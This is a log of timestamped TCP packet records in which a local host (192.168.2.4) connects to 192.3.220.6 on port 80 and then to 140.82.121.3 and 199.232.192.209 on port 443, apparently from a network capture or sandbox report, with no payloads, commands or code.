Dec 17, 2024 03:52:00.484227896 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.484286070 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.485310078 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.485369921 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.485434055 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.485491991 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.486502886 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.486560106 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.486685038 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.486747980 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.487673998 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.487730980 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.487819910 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.487874031 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.488847971 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.488907099 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.488961935 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.489017963 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.490042925 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.490102053 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.490163088 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.490220070 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.491218090 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.491276026 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.491369009 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.491425991 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.492412090 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.492470026 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.492541075 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.492599964 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.493602991 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.493664980 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.493741035 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.493798018 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.494788885 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.494848013 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.494915009 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.494972944 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.495960951 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.496020079 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.496085882 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.496144056 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.497148037 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.497205973 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.497262001 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.497318983 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.498332024 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.498390913 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.498450994 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.498506069 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.499517918 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.499577045 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.499635935 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.499691963 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.500726938 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.500788927 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.500833988 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.500890970 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.501930952 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.501990080 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.502063990 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.502129078 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.503104925 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.503161907 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.503170967 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.503222942 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:00.504307032 CET	80	49730	192.3.220.6	192.168.2.4
Dec 17, 2024 03:52:00.504364967 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:01.287359953 CET	49730	80	192.168.2.4	192.3.220.6
Dec 17, 2024 03:52:04.522581100 CET	49731	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:04.522672892 CET	443	49731	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:04.522768021 CET	49731	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:04.523679018 CET	49732	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:04.523742914 CET	443	49732	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:04.523952961 CET	49732	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:04.524415016 CET	49733	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:04.524499893 CET	443	49733	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:04.524579048 CET	49733	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:04.525187969 CET	49734	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:04.525197983 CET	443	49734	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:04.525264025 CET	49734	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:05.040478945 CET	49734	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:05.040518045 CET	443	49734	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:05.041214943 CET	49733	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:05.041287899 CET	443	49733	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:05.041363001 CET	49732	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:05.041378021 CET	443	49732	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:05.041575909 CET	49731	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:05.041656971 CET	443	49731	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:06.440474987 CET	443	49731	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:06.440588951 CET	49731	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:06.530141115 CET	49731	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:06.530141115 CET	49731	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:06.530208111 CET	443	49731	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:06.530549049 CET	443	49731	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:06.531599998 CET	49735	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:06.531637907 CET	443	49735	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:06.531676054 CET	49731	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:06.531802893 CET	49735	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:06.533371925 CET	49735	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:06.533382893 CET	443	49735	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:06.568422079 CET	443	49733	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:06.568674088 CET	49733	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.569552898 CET	443	49734	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:06.569650888 CET	49734	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.569988966 CET	49733	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.569988966 CET	49733	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.570033073 CET	443	49733	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:06.570214033 CET	443	49733	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:06.570389986 CET	49733	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.570908070 CET	49736	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.570990086 CET	443	49736	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:06.571127892 CET	49736	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.572066069 CET	49734	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.572066069 CET	49734	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.572077990 CET	443	49734	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:06.572249889 CET	443	49734	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:06.572345018 CET	49734	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.573261976 CET	49737	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.573268890 CET	49736	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.573303938 CET	443	49736	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:06.573307037 CET	443	49737	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:06.573384047 CET	49737	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.573921919 CET	49737	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.573935986 CET	443	49737	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:06.628477097 CET	443	49732	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:06.629754066 CET	49732	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.632050037 CET	49732	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.632060051 CET	443	49732	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:06.632230043 CET	49732	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.632484913 CET	443	49732	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:06.632570982 CET	49732	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.633460045 CET	49738	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.633516073 CET	443	49738	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:06.633585930 CET	49738	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.634684086 CET	49738	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:06.634702921 CET	443	49738	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:07.779851913 CET	443	49736	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:07.779953003 CET	49736	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:07.786499023 CET	49736	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:07.786529064 CET	443	49736	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:07.786755085 CET	443	49736	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:07.786814928 CET	49736	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:07.787661076 CET	49736	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:07.787692070 CET	443	49736	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:07.790307999 CET	49739	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:07.790359020 CET	443	49739	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:07.790436029 CET	49739	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:07.791203976 CET	49739	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:07.791215897 CET	443	49739	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:07.919192076 CET	443	49735	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:07.919275045 CET	49735	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:07.922066927 CET	49735	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:07.922075033 CET	443	49735	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:07.922219038 CET	443	49735	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:07.922281981 CET	49735	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:07.922333956 CET	49735	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:07.922349930 CET	443	49735	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:07.923712969 CET	49740	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:07.923742056 CET	443	49740	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:07.923801899 CET	49740	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:07.925811052 CET	49740	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:07.925827980 CET	443	49740	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:08.102166891 CET	443	49737	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:08.102247000 CET	49737	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:08.104571104 CET	49737	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:08.104582071 CET	443	49737	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:08.104717970 CET	443	49737	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:08.104768991 CET	49737	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:08.104795933 CET	49737	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:08.104814053 CET	443	49737	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:08.105778933 CET	49741	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:08.105802059 CET	443	49741	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:08.105866909 CET	49741	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:08.106976032 CET	49741	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:08.106988907 CET	443	49741	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:08.218174934 CET	443	49738	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:08.218271971 CET	49738	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:08.220103979 CET	49738	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:08.220124960 CET	443	49738	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:08.220207930 CET	49738	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:08.220524073 CET	443	49738	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:08.220593929 CET	49738	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:08.222539902 CET	49742	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:08.222583055 CET	443	49742	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:08.222666025 CET	49742	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:08.224001884 CET	49742	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:08.224020958 CET	443	49742	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:09.307697058 CET	443	49740	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:09.307781935 CET	49740	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:09.309099913 CET	49740	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:09.309108019 CET	443	49740	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:09.309211969 CET	49740	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:09.309287071 CET	443	49740	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:09.309766054 CET	49740	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:09.310285091 CET	49743	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:09.310329914 CET	443	49743	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:09.310602903 CET	49743	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:09.311199903 CET	49743	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:09.311216116 CET	443	49743	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:09.314064026 CET	443	49741	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:09.314127922 CET	49741	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.315023899 CET	49741	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.315027952 CET	443	49741	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:09.315118074 CET	49741	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.315130949 CET	443	49741	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:09.315182924 CET	49741	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.315762997 CET	49744	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.315807104 CET	443	49744	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:09.315891981 CET	49744	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.316384077 CET	49744	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.316397905 CET	443	49744	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:09.318793058 CET	443	49739	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:09.319334984 CET	49739	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.319726944 CET	49739	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.319732904 CET	443	49739	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:09.319883108 CET	49739	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.319947958 CET	443	49739	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:09.320015907 CET	49739	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.320475101 CET	49745	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.320550919 CET	443	49745	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:09.320626020 CET	49745	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.321131945 CET	49745	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.321166039 CET	443	49745	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:09.430638075 CET	443	49742	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:09.430753946 CET	49742	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.431907892 CET	49742	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.431922913 CET	443	49742	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:09.432040930 CET	49742	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.432168961 CET	443	49742	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:09.432229996 CET	49742	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.433135986 CET	49746	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.433195114 CET	443	49746	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:09.433329105 CET	49746	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.433949947 CET	49746	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:09.433968067 CET	443	49746	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:10.672595978 CET	443	49746	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:10.672662973 CET	49746	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.678000927 CET	49746	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.678011894 CET	443	49746	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:10.678330898 CET	49746	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.678368092 CET	443	49746	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:10.678421974 CET	49746	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.680071115 CET	49747	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.680152893 CET	443	49747	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:10.680244923 CET	49747	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.687164068 CET	49747	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.687200069 CET	443	49747	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:10.693682909 CET	443	49743	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:10.693753958 CET	49743	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:10.697187901 CET	49743	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:10.697205067 CET	443	49743	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:10.697278023 CET	49743	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:10.697406054 CET	443	49743	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:10.697452068 CET	49743	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:10.698406935 CET	49748	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:10.698440075 CET	443	49748	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:10.698494911 CET	49748	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:10.699733019 CET	49748	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:10.699745893 CET	443	49748	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:10.845706940 CET	443	49744	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:10.845794916 CET	49744	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.855413914 CET	49744	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.855437994 CET	443	49744	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:10.855550051 CET	49744	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.855914116 CET	443	49744	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:10.855977058 CET	49744	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.862458944 CET	49749	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.862504959 CET	443	49749	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:10.862567902 CET	49749	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.864502907 CET	49749	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.864517927 CET	443	49749	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:10.964375019 CET	443	49745	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:10.964483023 CET	49745	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.965785980 CET	49745	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.965838909 CET	443	49745	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:10.965892076 CET	49745	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.966048002 CET	443	49745	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:10.966104984 CET	49745	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.966739893 CET	49750	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.966774940 CET	443	49750	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:10.966855049 CET	49750	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.967456102 CET	49750	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:10.967473984 CET	443	49750	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:11.977296114 CET	443	49747	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:11.977372885 CET	49747	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:11.981995106 CET	49747	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:11.982009888 CET	443	49747	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:11.982099056 CET	49747	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:11.982178926 CET	443	49747	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:11.982227087 CET	49747	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:11.983078003 CET	49751	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:11.983129978 CET	443	49751	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:11.983201981 CET	49751	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:11.983912945 CET	49751	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:11.983928919 CET	443	49751	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:12.074767113 CET	443	49749	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:12.074846029 CET	49749	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:12.076392889 CET	49749	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:12.076402903 CET	443	49749	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:12.076509953 CET	49749	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:12.076905012 CET	443	49749	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:12.076968908 CET	49749	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:12.077351093 CET	49752	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:12.077435017 CET	443	49752	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:12.077508926 CET	49752	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:12.078533888 CET	49752	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:12.078567028 CET	443	49752	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:12.153357029 CET	443	49748	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:12.153424025 CET	49748	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:12.154272079 CET	49748	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:12.154283047 CET	443	49748	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:12.154373884 CET	49748	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:12.154625893 CET	443	49748	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:12.154674053 CET	49748	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:12.155138016 CET	49753	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:12.155169964 CET	443	49753	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:12.155246019 CET	49753	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:12.156032085 CET	49753	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:12.156055927 CET	443	49753	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:12.506021976 CET	443	49750	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:12.506092072 CET	49750	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:12.512639046 CET	49750	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:12.512649059 CET	443	49750	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:12.512746096 CET	49750	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:12.512880087 CET	443	49750	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:12.512950897 CET	49750	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:12.513566971 CET	49754	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:12.513638020 CET	443	49754	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:12.513801098 CET	49754	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:12.514452934 CET	49754	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:12.514483929 CET	443	49754	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:13.193119049 CET	443	49751	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:13.193233013 CET	49751	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.214451075 CET	49751	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.214483023 CET	443	49751	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:13.214690924 CET	49751	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.214916945 CET	443	49751	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:13.214981079 CET	49751	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:13.215706110 CET	49755	443	192.168.2.4	199.232.192.209
